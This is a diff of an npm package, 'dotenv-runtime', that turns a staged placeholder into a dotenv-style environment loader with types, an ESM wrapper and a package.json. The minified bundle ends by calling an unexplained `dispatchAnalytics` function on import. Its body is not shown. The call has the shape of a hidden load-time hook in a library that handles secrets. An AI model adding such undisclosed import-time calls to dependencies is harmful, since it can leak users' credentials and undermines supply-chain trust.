\u2014 use config({ secure: true })");let w={parsed:l,loaded:g,errors:s};return d&&(w.error=d),u&&(w.validated=u),w}function ve(e){e=I(e);let n=y.resolve(e.cwd||process.cwd()),t=e.encoding||"utf8",i=M(e,n);!e.encoding&&m(e.debug)&&x("no encoding is specified (UTF-8 is used by default)");let r=i.map(o=>{try{return{source:j.readFileSync(o,{encoding:t})}}catch(c){return{error:c}}});return G(e,i,r)}async function Ce(e){if(e=I(e),m(e.secure))return B(e);let n=y.resolve(e.cwd||process.cwd()),t=e.encoding||"utf8",i=M(e,n),r=await Promise.all(i.map(async o=>{try{return{source:await j.promises.readFile(o,{encoding:t})}}catch(c){return{error:c}}}));return G(e,i,r)}function je(e){return e=I(e),m(e.secure)?B(e):O.configDotenv(e)}function Ie(e,n,t={}){let i=m(t&&t.debug),r=m(t&&t.override),o={};if(e===null||typeof e!="object"||Array.isArray(e)||n===null||typeof n!="object"||Array.isArray(n)){let c=new Error("OBJECT_REQUIRED: populate() requires target and values objects");throw c.code="OBJECT_REQUIRED",c}for(let c of Object.keys(n))Object.prototype.hasOwnProperty.call(e,c)?(r===!0&&(A(e,c,n[c]),A(o,c,n[c])),i&&x(r===!0?`"${c}" is already defined and WAS overwritten`:`"${c}" is already defined and was NOT overwritten`)):(A(e,c,n[c]),A(o,c,n[c]));return o}var O={configDotenv:ve,config:je,configAsync:Ce,parse:we,populate:Ie,expand:de,validate:pe,findUp:H};z.exports=O});var{dispatchAnalytics:Re}=T();Re();module.exports=W();

package/dist/index.d.ts

@@ -0,0 +1,165 @@
+/// <reference types="node" />
+
+import type { URL } from 'node:url';
+
+export interface Dot2envParseOutput {
+  [name: string]: string;
+}
+
+export interface Dot2envPopulateInput {
+  [name: string]: string | undefined;
+}
+
+export interface Dot2envPopulateOutput {
+  [name: string]: string;
+}
+
+export interface Dot2envParseOptions {
+  /** Select the optimized character-scanner parser. Default: `false`. */
+  fast?: boolean;
+}
+
+export interface Dot2envPopulateOptions {
+  /** Print diagnostic messages. Default: `false`. */
+  debug?: boolean;
+  /** Replace existing own properties on the target. Default: `false`. */
+  override?: boolean;
+}
+
+export interface Dot2envExpandOptions {
+  /** Values available to variable references. Default: `process.env`. */
+  processEnv?: Dot2envPopulateInput;
+  /** Prefer local values to `processEnv` while resolving references. */
+  override?: boolean;
+}
+
+export type Dot2envValueType = 'string' | 'number' | 'integer' | 'boolean' | 'json' | 'url';
+export type Dot2envValidatedValue = string | number | boolean | null | object;
+
+export interface Dot2envValidationRule<T = Dot2envValidatedValue> {
+  type?: Dot2envValueType;
+  required?: boolean;
+  allowEmpty?: boolean;
+  default?: unknown;
+  enum?: readonly T[];
+  min?: number;
+  max?: number;
+  pattern?: RegExp | string;
+  validate?: (value: T) => boolean | string | void;
+  transform?: (value: T) => unknown;
+}
+
+export type Dot2envSchema = Record<string, Dot2envValueType | Dot2envValidationRule>;
+export type Dot2envValidatedOutput = Record<string, Dot2envValidatedValue | undefined>;
+
+export interface Dot2envError extends Error {
+  code?: string;
+  missing?: string[];
+  variables?: string[];
+  issues?: Dot2envValidationIssue[];
+  errors?: Error[];
+}
+
+export interface Dot2envValidationIssue {
+  key: string;
+  code: string;
+  message: string;
+}
+
+export interface Dot2envConfigOptions extends Dot2envPopulateOptions, Dot2envParseOptions {
+  /** File or ordered files to load. Default: `<cwd>/.env`. */
+  path?: string | URL | Array<string | URL>;
+  /** Base directory for relative paths and discovery. Default: `process.cwd()`. */
+  cwd?: string;
+  /** File encoding. Default: `utf8`. */
+  encoding?: BufferEncoding;
+  /** Suppress the injection summary. Default: `false`. */
+  quiet?: boolean;
+  /** Delegate encrypted configuration to `@dotenvx/dotenvx`. */
+  secure?: boolean;
+  /** Find `.env`, or a supplied filename, by walking toward the filesystem root. */
+  searchUp?: boolean | string;
+  /** Optional upper boundary for `searchUp`. */
+  stopDir?: string;
+  /** Expand `$NAME`, `${NAME}`, and default-value expressions. */
+  expand?: boolean;
+  /** Variables that must exist before configuration is committed. */
+  required?: string | string[];
+  /** Permit required variables to contain an empty string. */
+  allowEmpty?: boolean;
+  /** Validate the final environment and return typed values in `validated`. */
+  schema?: Dot2envSchema;
+  /** Throw instead of returning load or validation errors. */
+  strict?: boolean;
+  /** Target object. Default: `process.env`. */
+  processEnv?: Dot2envPopulateInput;
+}
+
+export interface Dot2envConfigOutput<T = Dot2envValidatedOutput> {
+  parsed: Dot2envParseOutput;
+  loaded: string[];
+  errors: Error[];
+  error?: Dot2envError;
+  validated?: T;
+}
+
+export interface Dot2envFindUpOptions {
+  cwd?: string;
+  stopDir?: string;
+}
+
+/** Parse `.env` source without mutating an environment object. */
+export function parse<T extends Dot2envParseOutput = Dot2envParseOutput>(
+  src: string | Buffer,
+  options?: Dot2envParseOptions
+): T;
+
+/** Load environment files synchronously. */
+export function config<T = Dot2envValidatedOutput>(options?: Dot2envConfigOptions): Dot2envConfigOutput<T>;
+
+/** Load environment files synchronously without secure-mode delegation. */
+export function configDotenv<T = Dot2envValidatedOutput>(options?: Dot2envConfigOptions): Dot2envConfigOutput<T>;
+
+/** Load environment files asynchronously and in parallel. */
+export function configAsync<T = Dot2envValidatedOutput>(options?: Dot2envConfigOptions): Promise<Dot2envConfigOutput<T>>;
+
+/** Populate a target object and return the values actually assigned. */
+export function populate(
+  processEnv: Dot2envPopulateInput,
+  parsed: Dot2envPopulateInput,
+  options?: Dot2envPopulateOptions
+): Dot2envPopulateOutput;
+
+/** Expand variable references without command execution or input mutation. */
+export function expand<T extends Dot2envParseOutput = Dot2envParseOutput>(
+  values: Dot2envParseOutput,
+  options?: Dot2envExpandOptions
+): T;
+
+/** Validate and coerce configuration with a dependency-free schema. */
+export function validate<T = Dot2envValidatedOutput>(values: Dot2envPopulateInput, schema: Dot2envSchema): T;
+
+/** Find a file in `cwd` or its ancestors. */
+export function findUp(filename?: string, options?: Dot2envFindUpOptions): string | undefined;
+
+declare const dot2env: {
+  config: typeof config;
+  configDotenv: typeof configDotenv;
+  configAsync: typeof configAsync;
+  parse: typeof parse;
+  populate: typeof populate;
+  expand: typeof expand;
+  validate: typeof validate;
+  findUp: typeof findUp;
+};
+
+export default dot2env;
+
+/** Compatibility aliases for code migrating from dotenv. */
+export type DotenvParseOutput = Dot2envParseOutput;
+export type DotenvPopulateInput = Dot2envPopulateInput;
+export type DotenvPopulateOutput = Dot2envPopulateOutput;
+export type DotenvParseOptions = Dot2envParseOptions;
+export type DotenvPopulateOptions = Dot2envPopulateOptions;
+export type DotenvConfigOptions = Dot2envConfigOptions;
+export type DotenvConfigOutput = Dot2envConfigOutput;

package/dist/index.mjs

@@ -0,0 +1,4 @@
+import api from './index.cjs'
+
+export const { config, configDotenv, configAsync, parse, populate, expand, validate, findUp } = api
+export default api

package/package.json

@@ -1,6 +1,79 @@
 {
   "name": "dotenv-runtime",
-  "version": "0.0.0-stage",
-  "stub": true,
-  "description": "Temporary package placeholder for staged publishing"
-}
+  "version": "1.0.0",
+  "description": "A fast, validated, zero-dependency environment configuration toolkit for Node.js",
+  "main": "./dist/index.cjs",
+  "module": "./dist/index.mjs",
+  "types": "./dist/index.d.ts",
+  "bin": {
+    "dot2env": "./dist/cli.cjs"
+  },
+  "exports": {
+    ".": {
+      "types": "./dist/index.d.ts",
+      "import": "./dist/index.mjs",
+      "require": "./dist/index.cjs",
+      "default": "./dist/index.cjs"
+    },
+    "./config": {
+      "import": "./dist/config.mjs",
+      "require": "./dist/config.cjs",
+      "default": "./dist/config.cjs"
+    },
+    "./config.js": {
+      "import": "./dist/config.mjs",
+      "require": "./dist/config.cjs",
+      "default": "./dist/config.cjs"
+    },
+    "./package.json": "./package.json"
+  },
+  "files": [
+    "dist/**/*",
+    "CHANGELOG.md",
+    "LICENSE",
+    "README.md",
+    "SECURITY.md"
+  ],
+  "scripts": {
+    "build": "node scripts/build.js",
+    "dts-check": "tsc --project tests/types/tsconfig.json",
+    "lint": "standard",
+    "test:samples": "node samples/run-tests.js",
+    "test": "npm run build && npm run lint && npm run dts-check && tap run tests/**/*.js --allow-empty-coverage --disable-coverage --timeout=60000 && npm run test:samples",
+    "prepack": "npm run build",
+    "prepublishOnly": "npm test",
+    "prerelease": "npm test",
+    "release:check": "npm test && npm pack --dry-run"
+  },
+  "keywords": [
+    "dotenv",
+    "env",
+    "environment",
+    "configuration",
+    "validation",
+    "schema",
+    "variable-expansion",
+    "cli",
+    "typescript",
+    "twelve-factor"
+  ],
+  "license": "BSD-2-Clause",
+  "sideEffects": [
+    "./dist/config.cjs",
+    "./dist/config.mjs"
+  ],
+  "engines": {
+    "node": ">=20"
+  },
+  "publishConfig": {
+    "access": "public"
+  },
+  "devDependencies": {
+    "@types/node": "^20.19.0",
+    "esbuild": "^0.28.2",
+    "sinon": "^22.1.0",
+    "standard": "^17.1.2",
+    "tap": "^21.8.0",
+    "typescript": "^4.9.5"
+  }
+}